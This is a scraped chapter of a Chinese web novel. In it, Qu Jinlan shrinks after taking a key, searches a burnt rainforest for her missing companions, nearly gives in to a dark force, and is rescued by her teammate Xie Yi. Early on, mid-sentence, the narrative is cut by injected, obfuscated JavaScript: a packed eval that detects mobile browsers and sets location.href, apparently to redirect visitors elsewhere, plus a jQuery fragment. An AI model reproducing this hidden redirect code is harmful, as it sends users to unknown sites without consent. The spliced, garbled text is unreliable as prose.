在拿到的一瞬间,阙烬兰仿若被一只无形的大手狠狠往下压,脊椎一节一节的收缩,咯吱作响令人牙酸的声音从身上各处传来。视角从接近两米的大高个猛然降低至一米六多点儿,阙烬兰的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332498|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
第一反应是摸了摸身上。
腹肌虽然不见了,但还好衣服回来了。
有得有失。
她没有回头再看萨满,只是循着那些由薄膜人行进时留下的已然焦黄的枯骨骨灰离开了。
这片雨林已经回到了它本该有的模样,焦黑的树干呈现着各种扭曲的姿态,各种植物燃烧后的都化作了白灰和黑炭的模样。
寂静。
阙烬兰就这么面无表情的走在着片毫无生机的土地上,直到看到了地上的血迹和杂乱脱落的狮毛。
“狮栾?檬砂?”
她快步地绕了一圈周围,深一脚浅一脚地走在这山林焦黑无论是动植物还是人的尸骸之间,扬起的灰漂浮在空气中,附着在自己的手上,脸上,裸露在外的一切肌肤上。
什么都没有。
他们人完全不见了,偌大的炭黑雨林中,连乌鸦嘶哑的鸣叫声都全然消失。
又是只有自己的呼吸。
阙烬兰脱力地直直跪下来。
一阵巨大的失落感从表到里地渗透,将她密不透风地包裹。
身体仿佛悬滞在半空,而那股下坠的力量,却如影随形般始终缠绕着她,从未远离。
阙烬兰的意识渐渐变得荒芜,那即将破胸而出的滔天黑气,其浓烈程度,竟全然窒灭了呼吸间所有飞扬的尘土与灰烬。她眼底最后一点光明灭不定,沉重的疲惫感从骨髓深处弥漫开来,如同冰冷潮水一寸寸吞噬着她的意志,诱使她闭上眼睛,就此沉沦于黑暗。
手上那根那被她忽视着的,一直都没什么存在感的红绳子忽然动了动。
“找到你了。”
就在万籁俱寂之时,一只带着薄荷甘松香味的手轻轻抚上阙兰烬的太阳穴。
谢邑察觉到异样,低头对上了一双泛着红光的双眸,本洁净分明的一双荔枝眼此刻被看不见的痛苦浸染。
这还是谢邑第一次看到阙烬兰的这般模样,她有两颗小巧的虎牙,此刻嘴唇微张展露在外,见着那同样系着红绳的手,不自觉的想要去咬噬。
“别动。”
谢邑的手指轻轻抵在阙烬兰的额间那道已经愈合了的伤口,他话里藏不住的关心,反倒衬得那生硬的语气不值一提。他拿着一个针剂快而精准地推入阙烬兰的体内。
“拿钥匙被浊气入体还没恢复,刚刚又被别的意识侵入了......阙烬兰,有你这样的队友我们还真是幸运,你抗这么多事做什么,真打算要一个人拯救地球了?”
阙烬兰感受到自己趴在一个宽阔而温热的背脊上,脸颊能清晰感知到对方颈窝连带着呼吸的起伏。
一缕清冽的薄荷甘松香气缓缓袭来,如同柔软的薄纱,将她整个人温柔地包裹。针口处仍残留着细密而尖锐的刺痛,但镇定净化剂已在血液中流畅地蔓延开来,所到之处,抚平了所有紧绷与不安,只留下一片逐渐扩散的、令人沉溺的舒缓。
“谢邑。”
她什么也没说,只是轻轻叫了声他的名字。
谢邑没有应声,然而托住她的手臂却更加沉稳有力,好让她能全然放松地倚靠在自己背上,不必费一丝气力。